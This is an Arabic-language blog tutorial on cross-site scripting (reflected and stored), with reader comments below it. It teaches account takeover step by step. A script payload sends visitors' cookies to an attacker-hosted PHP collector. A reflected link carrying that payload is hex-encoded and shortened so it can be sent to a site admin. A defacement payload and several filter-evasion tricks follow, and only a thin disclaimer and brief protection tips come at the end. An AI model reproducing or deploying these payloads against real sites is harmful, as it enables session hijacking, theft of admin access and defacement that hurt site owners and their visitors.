ثغرات Cross Site Scripting - xss







السلام عليكم في هده التدوينة سوف أشرح لكم عن نوع من أنواع ثغرات Web Application و هي Cross Site Scripting
 وإختصارها هو xss وعن نوعيها reflected و stored أولا نأتي لشرح هده الثغرات وهي كالتالي :
تعتمد ثغراث xss على مدخلات يتم إدخالها من طرف المخترق وهي تكون بلغة javascript أو html و يتم إدخالها  غالبا في صندوق التعاليق أو في مربع البحث وبطرق أخرى سوف ندرسها في مايلي من التدوينة أما عن سببها فهو أن المبرمجين لا يقومون بوضع أكواد تمنع من إدخال هده الإستغلالات من طرف المخترقين بالنسبة لما يخص إنتشار هده الثغرة فهو كبير جدا ويسهل الإختراق بها وعن بعض نتائج الإختراق بها فهي كالأتي:
-سرقة الكوكيز والدي يسمح لك بالدخول إلى لوحة التحكم  للموقع بدون معرفة كلمة السر
-تحويل زوار الموقع المخترق إلى موقع أخر من إختيارك وهدا مايستغله البعض في تحويل الزوار إلى مواقع ويطلبون تحميل ملفات أو برامج يوهمون الضحية بأنها
من صاحب الموقع المخترق وبالتالي تكون هده البرامج عبارة عن فيروسات تؤدي إلى إختراق أجهزتهم
-تغيير محتوى الصفحة بإدحال أكواد html كالتي نراها يوميا و بالمئات وهده تكون غالبا من طرف الأطفال الدين يسمون أنفسهم بالمحترفين
ويمكن للمخترق الدكي أن يستعمل الكثير من الطرق ليستغل هده الثغرة شر إستغلال
 نأتي الأن إلى طريقة الإختراق عن طريقها يمكن أن ندهب إلى أي تطبيق ويب  كمحركات بحث المواقع



ونجرب عليه هدا الكود   <script>
نقوم بإلقاء نضرة على الكود المصدري لصفحة


كما ترون فإن الكود تم إلحاقه كما كتبناه  أما إدا كان الموقع محميا لكتب الكود بهدا الشكل  &lt;script&gt;  
بعد أن تأكدنا أن التطبيق مصاب بالثغرة نقوم بالتأكيد أكثر عبر إدخال كود جافاسكربت  هدا <script>alert('BTS')</script>

 فيكون الناتج كالأتي  :

نعم فكما ترون  ضهر الرقم الدي وضعناه بين قوسين وهدا دليل على أن التطبيق مصاب بالثغرة

أنواع ثغرات xss :

فكما دكرنا في أول التدوينة فإن ثغرات  xss نوعين وهما 
stored وهو الأكثر خطورة بحيث يتم الإحتفاض بالكود في قاعدة البيانات فخد معي كمثال صندوق التعليقات الموجود تحت هدا الموضوع فلو كان الموقع مصابا فيمكن للمخترق أن يكتب كودا بالجافاسكربت يستطيع به أن يسرق كوكيز كل من يدخل هده الصفحة
وأشياء أخرى
reflected وهو النوع الأكثر إنتشارا بين المواقع هده الأيام يرسل الكود الضار إلى السرفر عن طريق HTTPrequest السرفر يقوم بإلحاقه بملف html و يرجع الملف وهدا ما يسمى بHTTPResponse إلى المتصفح وعندما المتصفح يفتح ملف HTML يضهر الكود المحقون للمتصفح و هدا النوع يطبق على صناديق البحث بالمواقع وتكون له أضرار كالنوع الأول 

كيف يتم سرقة الكوكيز

تستطيع سرقة الكوكيز بكل أنواع  Cross Site Scripting فكل ما تحتاجه هو ملفين الأول يكون مكتوب بلغة php مكتوب به كود يقوم بسرقة الكوكيز وأخر بصيغة txt يقوم بإستقبال الكوكيز  وتحفض به و تحتاج كدلك لإستضافة لرفع الملفين عليها وهي بكثرة و مجانية ويكون ملف php بعد الرفع بهدا الشكل  hxxp://www.YourSite.com/Hacker.php 
نقوم الأن بحقن الكود في المواقع المصابة بالstored بهدا الشكل 

<script>location.href = 'http://www.Yoursite.com/Hacker.php?cookie='+document.cookie;</script>
وبمجرد دخول admin إلى هده الصفحة فسيتم إرسال الكوكيز الخاص به عن طريق ملفHacker.php إلى الملف النصي txt  وبتغيير بسيط في اعدادات المتصفح ستتصفح الموقع المصاب وسوف تدخل الى لوحة التحكم من دون الحاجة الى معرفة كلمة السر او اليوز
لن اشرح كيفية تغيير اعدادات المتصفح ويمكنكم ان تبحثو عنها في google
اما بالنسبة للمواقع المصابة بالنوع الآخر reflected فسيكون الإستغلال مختلفا بعض الشئ بحيث نحقن الكود السابق في صناديق البحث بحيث تضهر في مكان وضع أسماء المواقع كالآتي  

hxxp://www.VulnerableSite.com/index.php?search=<script>location.href ='http://www.Yoursite.com/Hacker.php?cookie='+document.cookie;</script>
وبعدها تقوم بحفض الكود وإرساله إلى الأدمن وبمجرد فتحه ستكون قد سرقت الكوكيز الخاص بموقعه 
ولقليل من التمويه يمكن أن تقوم بتشفير الرابط فيصبح كالتالي
hxxp://www.VulnerableSite.com/index.php?search=%3c%73%63%72%69%70%74%3e%6c%6f%63%61%74%69%6f%6e%2e%68%72%65%66%20%3d%20%27%68%74%74%70%3a%2f%2f%77%77%77%2e%59%6f%75%72%73%69%74%65%2e%63%6f%6d%2f%53%74%65%61%6c%65%72%2e%70%68%70%3f%63%6f%6f%6b%69%65%3d%27%2b%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3b%3c%2f%73%63%72%69%70%74%3e


أو أن تجعلو الرابط مختصر فيصبح hxxp://www.tinyexample.com/rdsse23

تغيير محتوى الصفحة  

وهدا يكون فعالا في stored ولايكون فعالا في reflected بطريقة صحيحة ويمكن تطبيق الأمر الآتي 


<'';'body onload= "document.body.innerHTML='YOUr html code her>

تخطي الحماية ضد ثغرات xss

في بعض الأحيان تكون المواقع مصابة لكنها تستعمل فلاتر مثل WAF فتضهر وكأنها غير مصابة ودلك بحيث إدا قمنى بإختبار هدا الكود  <scirpt>alert("hi")</script>  والموقع يحتوي على WAF فسيكون الناتج هو هدا 
<script>alert(>xss detected<)</script>


كما ترون لقد غيرت محتوى الكود ومنعت من عمله ويمكن تخطي هده الحماية في حالتين :

تجاوز magic_quotes_gpc 

هده التعليمة تكون بملف php.ini و إدا كانت تعمل فتقوم بمنع تنفيد أي أمر به مثل هده الرموز " \ '  و يصبح مستحيل تنفيدها 
لكن هناك الحل لتجاوزها وهو تشفير الكود بASCII كأن نشفر
alert("hi");
String.fromCharCode(97, 108, 101, 114, 116, 40, 34, 104, 105, 34, 41, 59)
كما ترون الكود لايحتوي على أي رموز هكدا سنتمكن من الإلتفاف على الحماية و يمكن كدلك إستعمال تشفير أخر كالتشفير بHEX

تجاوز الحماية بإستعمال أسلوب التشويش

بعض المواقع لاتسمح بإستعمال alert و script في مواقعها و تقوم بحضرها ويمكن الإلتفاف عليها بطرق سهلة بكتابة الكود هكدا 
<ScRipt>ALeRt("hi");</sCRipT>


أو هكدا

"><script>alert("Hi");</script>

كما يمكنكم زيارة هدا الموقع لمعرفة المزيد من الطرق http://ha.ckers.org/xss.html

كيفية الحماية من هده الثغرات 

  • كمستخدم عادي تستطيع حماية نفسك من خلال إستخدام هده الإضافة الخاصة بمتصفح موزيلا  No-Script Addon  وأيضا من خلال عدم الوثوق في الروابط القصيرة و للحماية فيمكنك مسح كل الكوكيز من على متصفحك ومن ثم تصفحها من خلال بروكسي لكي لا يلتقط المخترق الأيبي الخاص بك 
  • و كصاحب موقع فما عليك سوى إستخدام جدران نارية و سكربتات تحد من فاعلية الثغرة 
وفي الأخير أود التنويه أن كل ما دكرته ليس إلا للأغراض التعليمية وأنا لست مسؤولا عن أي شخص يستعملها لأغراض التخريب
يمكن طرح تساؤلاتكم من خلال صندوق التعليقات أسفله
شكرا للمتابعة وإلى التدوينة القادمة :)

twitter شارك هذه الصفحة :

شارك الصفحة في الفيس بوك
شارك الصفحة في صدي قوقل
شارك الصفحة في تويتر Twitter
تابعنا عبر خدمة الخلاصات RSS
تابع تعليقات المدونة عبر الـRSS

أضف بريدك للاشتراك بالقائمة البريدية

Delivered by FeedBurner

9 التعليقات:

غير معرف يقول...

السلام عليكم

غير معرف يقول...

شكرا علي الموضوع المفيد

غير معرف يقول...

غاية الشكر اخي الكريم

غير معرف يقول...

بسم الله الرحمن الرحيم

غير معرف يقول...

الف شكر

Unknown يقول...

معلومات رائعه ومفيده

ASERT AL HOB يقول...

معلومات رائعه ومفيده

غير معرف يقول...

معلومات في غاية الروعه

سعيد دوكات يقول...

انت رائع يعطيك الف عافيه والف شكر نرجو المزيد ...

إرسال تعليق

إعلان